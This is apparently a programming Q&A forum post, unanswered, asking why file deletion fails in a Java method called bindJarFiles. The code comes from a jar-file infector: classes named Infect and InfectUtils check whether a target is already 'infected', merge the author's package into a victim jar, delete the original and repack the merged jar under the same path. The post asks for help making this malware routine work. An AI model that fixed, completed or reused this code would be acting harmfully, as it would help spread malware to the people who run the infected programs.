2

I am trying to copy a jar file into an other jarfile. so to get them together i unzip both to Infect.BIND_TMP. After that i go ahead and delete "first" but here Comes the Problem:

I get "false" returned by file.delete();

Did i not Close all streams? I can't find the error... :c

mainFile(); just Returns the MainClass from the MANIFEST.MF jarFile

    public static boolean bindJarFiles(File first, File second) {
    try {

        File tmp_bind = new File(Infect.TMP_BIND);
        if (tmp_bind.exists()) {
            tmp_bind.delete();
            tmp_bind.mkdirs();
        } else {
            tmp_bind.mkdirs();
        }

        tmp_bind = null;

        ZipFile m = new ZipFile(first);
        ZipFile g = new ZipFile(second);

        if (InfectUtils.infected(second))
            return false;

        g.extractAll(Infect.TMP_BIND);

        @SuppressWarnings("unchecked")
        List<FileHeader> fileHeaders = m.getFileHeaders();

        for (FileHeader fileHeader : fileHeaders) {
            if (fileHeader.isDirectory() && fileHeader.getFileName().equals(superPackageNameFromFile())) {
                g.extractFile(fileHeader, Infect.TMP_BIND);
            }
            if (fileHeader.isDirectory() && fileHeader.getFileName().equals("META-INF")) {
                g.extractFile(fileHeader, Infect.TMP_BIND);
            }
        }

        PrintWriter pw = new PrintWriter(new File(Infect.TMP_BIND_FILES_TXT));
        pw.println(mainFile(second));
        pw.println("_-$-_" + superPackageNameFromFile());
        pw.flush();
        pw.close();

        // Reset all the open Streams etc

        String p = second.getAbsolutePath();

        g = null;

        if (!second.delete()) {
            System.err.println("Cannot delete File!");
        }

        g = new ZipFile(p);

        ZipParameters params = new ZipParameters();
        params.setIncludeRootFolder(false);
        params.setCompressionMethod(Zip4jConstants.COMP_DEFLATE);
        params.setCompressionLevel(Zip4jConstants.DEFLATE_LEVEL_NORMAL);

        g.createZipFile(new File(Infect.TMP_BIND), params);

    } catch (ZipException | FileNotFoundException e) {
        e.printStackTrace();
        return false;
    }
    return true;
}
Julius
  • 35
  • 2
  • 9

0 Answers0